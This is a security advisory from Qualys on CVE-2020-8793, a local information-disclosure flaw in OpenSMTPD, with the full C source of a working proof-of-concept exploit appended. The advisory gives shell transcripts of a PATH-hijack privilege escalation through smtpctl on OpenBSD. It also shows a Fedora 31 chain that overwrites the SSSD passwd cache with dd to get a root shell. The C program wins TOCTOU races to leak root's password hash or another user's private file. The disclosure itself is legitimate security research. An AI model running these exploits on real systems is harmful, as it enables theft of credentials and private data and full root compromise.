Qualys Security Advisory Local information disclosure in OpenSMTPD (CVE-2020-8793) ============================================================================== Contents ============================================================================== Summary Analysis Exploitation POKE 47196, 201 Acknowledgments ============================================================================== Summary ============================================================================== We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server: an unprivileged local attacker can read the first line of an arbitrary file (for example, root's password hash in /etc/master.passwd) or the entire contents of another user's file (if this file and /var/spool/smtpd/ are on the same filesystem). We developed a proof of concept and successfully tested it against OpenBSD 6.6 (the current release). This vulnerability is generally not exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by default on most distributions. Surprisingly, however, it is exploitable on Fedora (31) and yields full root privileges. ============================================================================== Analysis ============================================================================== In October 2015 we published the results of an exhaustive OpenSMTPD audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt); one of our key findings was: ------------------------------------------------------------------------------ Multiple hardlink attacks in the offline directory ... In the world-writable "/var/spool/smtpd/offline" directory, local users can create hardlinks to files they do not own, and wait until the server reboots (or, crash OpenSMTPD with a denial-of-service and wait until the administrator restarts it) to carry out assorted attacks. ... 2/ The following code in offline_enqueue() allows an attacker to execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument that is the hardlinked file's first line (CVE-2015-ABCD): ... For example, an attacker can hardlink /etc/master.passwd to the offline directory, and retrieve its first line (root's encrypted password) by running ps (or a small program that simply calls sysctl() with KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop: ... 4/ If an attacker is able to reach another user's file (i.e., +x on all directories that lead to the file) but not read it, he can hardlink the file to the offline directory, and wait for savedeadletter() to create a world-readable copy of the file in this other user's home directory: ------------------------------------------------------------------------------ OpenBSD's patch for this vulnerability was threefold: a/ They removed the world-writable and sticky bits from /var/spool/smtpd/offline, changed its group to "_smtpq", and made /usr/sbin/smtpctl set-group-ID _smtpq: ------------------------------------------------------------------------------ drwxrwx--- 2 root _smtpq 512 Oct 12 10:34 /var/spool/smtpd/offline -r-xr-sr-x 1 root _smtpq 217736 Oct 12 10:34 /usr/sbin/smtpctl ------------------------------------------------------------------------------ b/ They added an _smtpq group check to offline_scan(): ------------------------------------------------------------------------------ 1543 /* offline file group must match parent directory group */ 1544 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid) 1545 continue; .... 1553 if (offline_add(e->fts_name)) { 1554 log_warnx("warn: smtpd: " 1555 "could not add offline message %s", e->fts_name); 1556 continue; 1557 } ------------------------------------------------------------------------------ This check (at line 1544) effectively prevents offline_scan() from adding the filename of a hardlink to the offline queue (at line 1553), because no interesting file on the filesystem belongs to the group _smtpq. c/ They added a hardlink check to offline_enqueue() (at line 1631), which is called by offline_add(): ------------------------------------------------------------------------------ 1615 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) { 1616 log_warn("warn: smtpd: open: %s", path); 1617 _exit(1); 1618 } 1619 1620 if (fstat(fd, &sb) == -1) { 1621 log_warn("warn: smtpd: fstat: %s", path); 1622 _exit(1); 1623 } .... 1631 if (sb.st_nlink != 1) { 1632 log_warnx("warn: smtpd: file %s is hard-link", path); 1633 _exit(1); 1634 } ------------------------------------------------------------------------------ Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check to time-of-use) race conditions. As a result, a local attacker can still carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter) described in our 2015 audit report. ============================================================================== Exploitation ============================================================================== a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and specify a "-bi" command-line argument, then smtpctl calls execlp() without dropping its privileges: ------------------------------------------------------------------------------ 147 /* sendmail-compat makemap ... re-execute using proper interface */ 148 if (argc == 2) { ... 164 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-", 165 (char *)NULL); 166 err(1, "execlp"); 167 } ------------------------------------------------------------------------------ We can exploit this execlp() call by specifying our own PATH environment variable, and obtain the privileges of the group _smtpq: ------------------------------------------------------------------------------ $ id uid=1001(john) gid=1001(john) groups=1001(john) $ ln -s /usr/sbin/smtpctl "send-mail" $ cat > makemap << "EOF" #!/bin/ksh echo "$@" exec /usr/bin/env -i /bin/ksh EOF $ chmod 0755 makemap $ env -i PATH=. ./send-mail -- -bi dbname -d -bi -o dbname.db - $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) ------------------------------------------------------------------------------ b/ The _smtpq group check is made only once in offline_scan(), but not again in offline_enqueue() (which actually open()s the offline files). Moreover, at most five offline files are processed concurrently; the remaining files are simply added to the offline queue for later processing. We can reliably win this first race condition: - we create several large but sparse files (1GB each) in the offline directory (these files naturally pass the _smtpq group check); - we SIGSTOP five of the offline_enqueue() processes that open() and slowly read() our large files; - we wait until offline_scan() adds all of our remaining files to the offline queue; - we replace these files with hardlinks to an interesting target file (for example, /etc/master.passwd); - we SIGKILL the five stopped offline_enqueue() processes. Finally, our hardlinks are processed by offline_enqueue(), and the _smtpq group check is defeated. c/ To defeat the hardlink check in offline_enqueue(), we create our hardlink before the open() call at line 1615 (this increases st_nlink to 2), and delete it before the fstat() call at line 1620 (this decreases st_nlink back to 1). In practice, we win this tight race condition after just a few tries: our proof of concept fork()s a dedicated process that simply calls link() and unlink() in a loop. Moreover, if our target file is /etc/master.passwd, we can defeat the hardlink check without a race: we hardlink /etc/master.passwd into the offline directory (this increases st_nlink to 2), we run /usr/bin/passwd or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases st_nlink back to 1), and finally we SIGKILL the five stopped offline_enqueue() processes. ------------------------------------------------------------------------------ For example, to read the first line of /etc/master.passwd (root's password hash) with our proof of concept: - First, on the attacker's terminal: $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) $ ./proof-of-concept 20 ... ready - Next, on the administrator's terminal: # rcctl restart smtpd smtpd(ok) smtpd(ok) - Last, on the attacker's terminal: ... root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie &:/root:/bin/ksh ------------------------------------------------------------------------------ To read the entire contents of another user's file (for example, /home/admin/deep.secret) with our proof of concept: - First, on the attacker's terminal: $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) $ ls -l /home/admin/deep.secret ---------- 1 admin admin 125 Feb 15 00:52 /home/admin/deep.secret $ cat /home/admin/deep.secret cat: /home/admin/deep.secret: Permission denied $ ./proof-of-concept 100 /home/admin/deep.secret ... ready - Next, on the administrator's terminal: # rcctl restart smtpd smtpd(ok) smtpd(ok) - Last, on the attacker's terminal: ... This is the contents of the deep.secret file. Only root may see this file. -rw-r--r-- 1 admin admin 132 Feb 15 01:21 /home/admin/dead.letter $ cat /home/admin/dead.letter From: admin <admin@xxxxxxxxx.domain> Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST) secret 2 secret 3 end of secret file deep.secret ============================================================================== POKE 47196, 201 ============================================================================== On Linux, this vulnerability is generally not exploitable because /proc/sys/fs/protected_hardlinks prevents attackers from creating hardlinks to files they do not own. On Fedora 31, however, smtpctl is set-group-ID root, not set-group-ID smtpq: ------------------------------------------------------------------------------ -r-xr-sr-x. 1 root root 303368 Jul 26 2019 /usr/sbin/smtpctl ------------------------------------------------------------------------------ Surprisingly, we were able to exploit this mistake and obtain full root privileges: - First, we exploited the Local Privilege Escalation in smtpctl to obtain the privileges of the group root: ------------------------------------------------------------------------------ $ id uid=1001(john) gid=1001(john) groups=1001(john) context=... $ ln -s /usr/sbin/smtpctl "send-mail" $ cat > makemap << "EOF" #!/bin/bash -p echo "$@" exec /usr/bin/env -i /bin/bash -p EOF $ chmod 0755 makemap $ env -i PATH=. ./send-mail -- -bi dbname -d -bi -o dbname.db - $ id uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john) context=... ------------------------------------------------------------------------------ - Next, we searched for files that belong to the group root, are group-writable, but not world-writable: ------------------------------------------------------------------------------ $ find / -group root -perm -020 '!' -perm -02 -ls ... 4811008 0 drwxrwxr-x 2 root root 51 Feb 15 17:49 /var/lib/sss/mc 4811064 8212 -rw-rw-r-- 1 root root 8406312 Feb 15 18:58 /var/lib/sss/mc/passwd 4810978 6260 -rw-rw-r-- 1 root root 6406312 Feb 15 18:58 /var/lib/sss/mc/group ... ------------------------------------------------------------------------------ - Intrigued ("sss" stands for "System Security Services"), we dumped the contents of /var/lib/sss/mc/passwd: ------------------------------------------------------------------------------ $ hexdump -C /var/lib/sss/mc/passwd ... 00000060 10 00 00 00 e9 03 00 00 e9 03 00 00 1d 00 00 00 |................| 00000070 6a 6f 68 6e 00 78 00 00 2f 68 6f 6d 65 2f 6a 6f |john.x../home/jo| 00000080 68 6e 00 2f 62 69 6e 2f 62 61 73 68 00 ff ff ff |hn./bin/bash....| ... ------------------------------------------------------------------------------ - Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID) with zeros (root's user-ID): ------------------------------------------------------------------------------ $ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4 conv=notrunc 4+0 records in 4+0 records out ------------------------------------------------------------------------------ - Last, we executed su to re-authenticate as ourselves (as user john), but obtained a root shell instead: ------------------------------------------------------------------------------ $ su -l john Password: # id uid=0(root) gid=1001(john) groups=1001(john) context=... ------------------------------------------------------------------------------ Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was released and correctly made smtpctl set-group-ID smtpq, instead of set-group-ID root. ============================================================================== Acknowledgments ============================================================================== We thank OpenBSD's developers, Todd Miller in particular, for their quick response and patches. We also thank Solar Designer and MITRE's CVE Assignment Team. [https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner> This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.
/* * Local information disclosure in OpenSMTPD (CVE-2020-8793) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <sys/types.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <fts.h> #include <limits.h> #include <pwd.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define P_SUSPSIG 0x08000000 /* Stopped from signal. */ #define PATH_SPOOL "/var/spool/smtpd" #define PATH_OFFLINE "/offline" #define OFFLINE_QUEUEMAX 5 #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * const * create_files(const size_t n_files) { size_t f; for (f = 0; f < n_files; f++) { char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX"; const int fd = mkstemp(file); if (fd <= -1) die(); if (file[sizeof(file)-1] != '\0') die(); file[sizeof(file)-1] = '\n'; if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die(); if (close(fd) != 0) die(); } const char ** const files = calloc(n_files, sizeof(char *)); if (files == NULL) die(); char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL }; FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL); if (fts == NULL) die(); for (f = 0; ; ) { const FTSENT * const ent = fts_read(fts); if (ent == NULL) break; if (ent->fts_name[0] != '0') continue; if (ent->fts_name[1] != '.') continue; if (ent->fts_info != FTS_F) die(); if (ent->fts_level != 1) die(); if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die(); if (ent->fts_statp->st_size <= 0) die(); const char * const file = strdup(ent->fts_path); if (file == NULL) die(); if (f >= n_files) die(); files[f++] = file; } if (f != n_files) die(); if (fts_close(fts) != 0) die(); if (truncate(files[n_files - 1], 0) != 0) die(); return files; } static void wait_sentinel(const char * const * const files, const size_t n_files) { for (;;) { struct stat sb; if (lstat(files[n_files - 1], &sb) != 0) { if (errno != ENOENT) die(); return; } if (!S_ISREG(sb.st_mode)) die(); if (sb.st_size != 0) die(); } die(); } static void kill_wait(const pid_t pid) { if (kill(pid, SIGKILL) != 0) die(); int status = 0; if (waitpid(pid, &status, 0) != pid) die(); if (!WIFSIGNALED(status)) die(); if (WTERMSIG(status) != SIGKILL) die(); } typedef struct { int stop; pid_t pid; int fd; } t_stopper; static t_stopper fork_stopper(const uid_t uid) { const int stop = (uid == getuid()); int fds[2]; if (pipe(fds) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); const int fd = fds[!pid]; if (close(fds[!!pid]) != 0) die(); if (pid != 0) { const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd }; return stopper; } int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct kinfo_proc), 0 }; size_t proc_len = 0; if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die(); if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc); if (proc_len > ((size_t)1 << 20)) die(); const size_t proc_max = 0x10 * proc_len; void * const proc_buf = malloc(proc_max); if (proc_buf == NULL) die(); if (proc_mib[5] != 0) die(); proc_mib[5] = proc_max / sizeof(struct kinfo_proc); for (;;) { proc_len = proc_max; if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die(); if (proc_len <= 0) { if (stop) die(); continue; } if (proc_len >= proc_max) die(); const struct kinfo_proc * kp; if (proc_len % sizeof(*kp) != 0) die(); for (kp = proc_buf; kp != proc_buf + proc_len; kp++) { if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") continue; if (kp->p_flag & P_SUSPSIG) continue; const pid_t pid = kp->p_pid; if (stop && kill(pid, SIGSTOP) != 0) continue; const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, KERN_PROC_ARGV }; static char argv_buf[ARG_MAX]; size_t argv_len = sizeof(argv_buf); if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) { continue; } if (argv_len <= sizeof(char *)) { if (stop) die(); continue; } if (argv_len >= sizeof(argv_buf)) die(); const char * const * const av = (const void *)argv_buf; size_t ac; for (ac = 0; av[ac] != NULL; ac++) { switch (ac) { case 0: if (strcmp(av[ac], "sendmail") != 0) die(); continue; case 1: if (strcmp(av[ac], "-S") != 0) die(); continue; case 2: if (stop) { if (strncmp(av[ac], PATH_SPOOL PATH_OFFLINE, sizeof(PATH_SPOOL PATH_OFFLINE)-1) != 0) die(); static const char ** stopped; static size_t i_stopped, n_stopped; size_t i; for (i = 0; i < i_stopped; i++) { if (strcmp(av[ac], stopped[i]) == 0) break; } if (i < i_stopped) break; if (i != i_stopped) die(); if (i_stopped >= n_stopped) { if (i_stopped != n_stopped) die(); if (n_stopped > ((size_t)1 << 20)) die(); n_stopped += ((size_t)1 << 10); stopped = reallocarray(stopped, n_stopped, sizeof(*stopped)); if (stopped == NULL) die(); } if (i_stopped >= n_stopped) die(); stopped[i_stopped] = strdup(av[ac]); if (stopped[i_stopped] == NULL) die(); i_stopped++; } const size_t len = strlen(av[ac]) + 1; if (write(fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); if (write(fd, av[ac], len) != (ssize_t)len) die(); break; default: die(); } break; } } } die(); } static void kill_stopper(const t_stopper stopper) { kill_wait(stopper.pid); if (close(stopper.fd) != 0) die(); } typedef struct { int kill; pid_t pid; char * args; } t_stopped; static t_stopped wait_stopped(const t_stopper stopper) { pid_t pid = 0; if (read(stopper.fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die(); if (pid <= 0) die(); static char buf[ARG_MAX]; size_t len = 0; for (;;) { if (len >= sizeof(buf)) die(); const ssize_t nbr = read(stopper.fd, buf + len, 1); if (nbr <= 0) die(); len += nbr; if (buf[len - 1] == '\0') break; } if (len <= 0) die(); if (memchr(buf, '\0', len) != buf + len - 1) die(); char * const args = strdup(buf); if (args == NULL) die(); const t_stopped stopped = { .kill = stopper.stop, .pid = pid, .args = args }; return stopped; } static void kill_free_stopped(const t_stopped stopped) { if (stopped.kill && kill(stopped.pid, SIGKILL) != 0) die(); free(stopped.args); } static void make_stopper_file(const char * const file) { const off_t file_size = (off_t)1 << 30; const off_t line_size = (off_t)1 << 20; struct stat sb; if (lstat(file, &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_size <= 0) die(); if (sb.st_size >= line_size) { if (sb.st_size > file_size) return; die(); } const int fd = open(file, O_WRONLY | O_NOFOLLOW, 0); if (fd <= -1) die(); off_t l; for (l = 1; l <= file_size / line_size; l++) { if (lseek(fd, line_size, SEEK_END) <= l * line_size) die(); if (write(fd, "\n", 1) != 1) die(); } if (close(fd) != 0) die(); } static size_t find_stopped_file(const char * const * const files, const size_t n_files, const t_stopped stopped) { size_t f; for (f = 0; f < n_files; f++) { if (strcmp(files[f], stopped.args) == 0) { if (f >= n_files - 1) die(); return f; } } die(); } static void disclose_masterpasswd(const size_t n_files) { if (getuid() == 0) die(); const char * const * const files = create_files(n_files); size_t i; for (i = 0; i < n_files - 1; i++) { make_stopper_file(files[i]); } t_stopped queue_stopped[OFFLINE_QUEUEMAX]; size_t t = 0; size_t q; const t_stopper queue_stopper = fork_stopper(getuid()); puts("ready"); for (q = 0; q < OFFLINE_QUEUEMAX; q++) { queue_stopped[q] = wait_stopped(queue_stopper); const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); printf("%zu (%zu)\n", f, q); if (f >= t) t = f + 1; } kill_stopper(queue_stopper); if (t < OFFLINE_QUEUEMAX) die(); if (t >= n_files - 1) die(); wait_sentinel(files, n_files); for (i = 0; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); if (i < t) continue; if (link(_PATH_MASTERPASSWD, files[i]) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { char * const argv[] = { "/usr/bin/chpass", NULL }; char * const envp[] = { "EDITOR=echo '#' >>", NULL }; execve(argv[0], argv, envp); die(); } int status = 0; if (waitpid(pid, &status, 0) != pid) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != 0) die(); struct stat sb; if (lstat(files[i], &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_nlink != 1) die(); if (sb.st_uid != 0) die(); } const t_stopper target_dumper = fork_stopper(0); for (q = 0; q < OFFLINE_QUEUEMAX; q++) { kill_free_stopped(queue_stopped[q]); } const t_stopped target_dump = wait_stopped(target_dumper); puts(target_dump.args); kill_free_stopped(target_dump); kill_stopper(target_dumper); for (i = t; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); } exit(EXIT_SUCCESS); } static void make_stopper_files(const char * const * const files, const size_t n_files, const size_t begin_stoppers, const size_t n_stoppers) { if (begin_stoppers >= n_files) die(); if (n_stoppers > OFFLINE_QUEUEMAX) die(); const size_t end_stoppers = begin_stoppers + 3 * n_stoppers; if (end_stoppers >= n_files) die(); size_t f; for (f = begin_stoppers; f < end_stoppers; f++) { make_stopper_file(files[f]); } } typedef struct { pid_t pid; int fd; } t_swapper; static t_swapper fork_swapper(const char * const target, const char * const file) { struct stat sb; if (lstat(target, &sb) != 0) die(); if (!S_ISREG(sb.st_mode)) die(); if (sb.st_nlink != 1) die(); int fds[2]; if (pipe(fds) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); const int fd = fds[!pid]; if (close(fds[!!pid]) != 0) die(); if (pid != 0) { const t_swapper swapper = { .pid = pid, .fd = fd }; return swapper; } if (unlink(file) != 0) die(); if (write(fd, "A", 1) != 1) die(); for (;;) { if (link(target, file) != 0) die(); if (unlink(file) != 0) die(); } die(); } static void wait_swapper(const t_swapper swapper) { char buf[] = "whatever"; if (read(swapper.fd, buf, sizeof(buf)) != 1) die(); if (buf[0] != 'A') die(); } static void kill_swapper(const t_swapper swapper) { kill_wait(swapper.pid); if (close(swapper.fd) != 0) die(); } static void disclose_deadletter(const size_t n_files, const char * const target) { struct stat target_sb; if (target[0] != '/') die(); if (lstat(target, &target_sb) != 0) die(); if (!S_ISREG(target_sb.st_mode)) die(); if (target_sb.st_nlink != 1) die(); const uid_t target_uid = target_sb.st_uid; if (target_uid == getuid()) die(); const struct passwd * const target_pw = getpwuid(target_uid); if (target_pw == NULL) die(); static char deadletter[PATH_MAX]; snprintf(deadletter, sizeof(deadletter), "%s/dead.letter", target_pw->pw_dir); struct stat deadletter_sb; if (lstat(deadletter, &deadletter_sb) != 0) { if (errno != ENOENT) die(); memset(&deadletter_sb, 0, sizeof(deadletter_sb)); } const char * const * const files = create_files(n_files); make_stopper_files(files, n_files, 0, OFFLINE_QUEUEMAX); const t_stopper queue_stopper = fork_stopper(getuid()); puts("ready"); t_stopped queue_stopped[OFFLINE_QUEUEMAX]; size_t t = 0; size_t q; for (q = 0; q < OFFLINE_QUEUEMAX; q++) { queue_stopped[q] = wait_stopped(queue_stopper); const size_t f = find_stopped_file(files, n_files, queue_stopped[q]); printf("%zu (%zu)\n", f, q); if (f >= t) t = f + 1; } if (t < OFFLINE_QUEUEMAX) die(); if (t >= n_files - 1) die(); size_t i; for (i = 0; i < t; i++) { if (unlink(files[i]) != 0) die(); } wait_sentinel(files, n_files); const t_stopper target_dumper = fork_stopper(target_uid); for (;;) { make_stopper_files(files, n_files, t + 1, 1); const t_swapper swapper = fork_swapper(target, files[t]); wait_swapper(swapper); kill_free_stopped(queue_stopped[0]); queue_stopped[0] = wait_stopped(queue_stopper); kill_swapper(swapper); const size_t f = find_stopped_file(files, n_files, queue_stopped[0]); printf("%zu\n", f); if (f <= t) die(); for (i = t; i <= f; i++) { if (unlink(files[i]) != 0) { if (errno != ENOENT) die(); if (i != t) die(); } } t = f + 1; struct stat sb; if (lstat(deadletter, &sb) != 0) { if (errno != ENOENT) die(); memset(&sb, 0, sizeof(sb)); } if (memcmp(&sb, &deadletter_sb, sizeof(sb)) != 0) break; } kill_stopper(queue_stopper); const t_stopped target_dump = wait_stopped(target_dumper); puts(target_dump.args); kill_free_stopped(target_dump); kill_stopper(target_dumper); for (i = t; i < n_files - 1; i++) { if (unlink(files[i]) != 0) die(); } for (q = 0; q < OFFLINE_QUEUEMAX; q++) { kill_free_stopped(queue_stopped[q]); } char * const argv[] = { "/bin/ls", "-l", deadletter, NULL }; char * const envp[] = { NULL }; execve(argv[0], argv, envp); die(); } int main(const int argc, const char * const argv[]) { setlinebuf(stdout); puts("Local information disclosure in OpenSMTPD (CVE-2020-8793)"); puts("Copyright (C) 2020 Qualys, Inc."); if (argc <= 1) die(); const size_t n_files = strtoul(argv[1], NULL, 0); if (n_files <= OFFLINE_QUEUEMAX) die(); if (n_files > ((size_t)1 << 20)) die(); if (argc == 2) { disclose_masterpasswd(n_files); die(); } if (argc == 3) { disclose_deadletter(n_files, argv[2]); die(); } die(); }